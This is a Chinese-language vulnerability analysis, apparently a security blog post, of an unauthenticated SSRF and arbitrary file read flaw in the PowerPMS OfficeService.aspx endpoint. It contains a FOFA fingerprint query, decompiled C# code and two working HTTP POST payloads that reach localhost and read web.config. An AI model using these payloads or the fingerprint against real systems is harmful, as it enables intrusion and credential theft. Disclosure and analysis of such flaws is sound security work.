漏洞简介
普华PowerPMS是上海普华科技发展股份有限公司旗下一款项目管理信息平台。其PowerPMS系统OfficeService.aspx存在SSRF(服务器端请求伪造)漏洞,未经身份验证的攻击者可能利用该漏洞访问系统资源或敏感信息,导致数据泄露或系统安全性降低,同时该接口还存在任意文件读取漏洞,攻击者可利用该漏洞读取系统文件,造成敏感信息泄漏。
影响版本
fofa语法
app="普华科技-PowerPMS" || body="Power.login.init" && body="Power.ui.warning" && body="Power_login_btn"
漏洞分析
看下OfficeService.aspx的实现逻辑
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="OfficeService.aspx.cs" Inherits="Power.PMS.PowerPlat.FormXml.DocFile.OfficeService" %>
根据代码引用在Power.PMS.dll中找到PowerPlat.FormXml.DocFile.OfficeService的实现
protected void Page_Load(object sender, EventArgs e)
{
PowerGlobal.CheckSecurity(this.Request);
iMsgServer2000 iMsgServer2000 = new iMsgServer2000();
string str1 = this.Request["HumanId"];
string sessionId = this.Request["sessionid"];
string str2 = "2009";
if (!string.IsNullOrEmpty(sessionId))
str2 = PowerGlobal.GetConfigRunTimeValue("FtpConfig", "iWebOfficeVersion", PowerGlobal.getSession(sessionId));
if (string.op_Equality(str2, "2009"))
{
MethodInfo methodInfo = Enumerable.FirstOrDefault<MethodInfo>((IEnumerable<MethodInfo>) iMsgServer2000.GetType().GetMethods(), (Func<MethodInfo, bool>) (m => string.op_Equality(((MemberInfo) m).Name, "Load")));
if (MethodInfo.op_Inequality(methodInfo, (MethodInfo) null))
((MethodBase) methodInfo).Invoke((object) iMsgServer2000, new object[1]
{
(object) this.Request
});
}
else
iMsgServer2000.MsgVariant(this.Request.BinaryRead(this.Request.ContentLength));
string msgByName1 = iMsgServer2000.GetMsgByName("RECORDID");
string str3 = this.Request["action"];
if (!string.IsNullOrEmpty(str3) && string.op_Equality(str3, "download"))
{
string weburl = this.Request["WEBURL"];
string filename = "";
if (!string.IsNullOrEmpty(weburl))
{
this.mFileBody = this.LoadFileStream(weburl, out filename);
}
else
{
if (string.IsNullOrEmpty(weburl))
msgByName1 = this.Request.QueryString["mRecordID"];
if (string.IsNullOrEmpty(weburl))
msgByName1 = this.Request.QueryString["Id"];
this.mFileBody = this.LoadFile(msgByName1, out filename);
}
根据action参数的值进入不同的分支处理逻辑
当action=download时,将WEBURL带入会进入LoadFileStream方法
public byte[] LoadFileStream(string weburl, out string filename)
{
filename = DateTime.Now.ToString("yyyy-MM-dd");
byte[] numArray = (byte[]) null;
if (weburl.ToLower().IndexOf("app_data/") > -1)
{
if (weburl.ToLower().StartsWith("app_data/"))
weburl = "~/" + weburl;
if (weburl.ToLower().StartsWith("/app_data/"))
weburl = "~" + weburl;
string str = this.Server.MapPath(weburl);
filename = Path.GetFileName(str);
try
{
numArray = File.ReadAllBytes(str);
}
catch (Exception ex)
{
numArray = (byte[]) null;
}
}
else
{
string str1 = "ASP.NET_SessionId";
string str2 = $"{str1}={HttpContext.Current.Request.Cookies[str1].Value}";
string str3 = this.Request.Url.Host;
if (!this.Request.Url.IsDefaultPort)
str3 = $"{this.Request.Url.Host}:{this.Request.Url.Port.ToString()}";
string str4 = "http://" + str3;
if (!weburl.ToLower().StartsWith("http://"))
weburl = str4 + weburl;
using (WebClient webClient = new WebClient())
{
((NameValueCollection) webClient.Headers).Add("Cookie", str2);
((NameValueCollection) webClient.Headers)["User-Agent"] = HttpContext.Current.Request.UserAgent;
try
{
numArray = webClient.DownloadData(weburl);
}
catch (Exception ex)
{
numArray = (byte[]) null;
}
}
}
return numArray;
}
对weburl进行系列处理,如添加协议头或者以/app_data/开头的直接进行文件读取。
漏洞复现
SSRF
POST /PowerPlat/FormXml/DocFile/OfficeService.aspx HTTP/1.1
Host: powerpms.mrxn.net
Content-Type: application/x-www-form-urlencoded
action=download&WEBURL=http://127.1

成功获取到本地80端口的web服务,根据title的特征,在网络空间测绘平台可知其为火绒终端部署系统

文件读取
POST /PowerPlat/FormXml/DocFile/OfficeService.aspx HTTP/1.1
Host: powerpms.mrxn.net
Content-Type: application/x-www-form-urlencoded
action=download&WEBURL=app_data/../web.config

成功读取到 web.config 文件内容


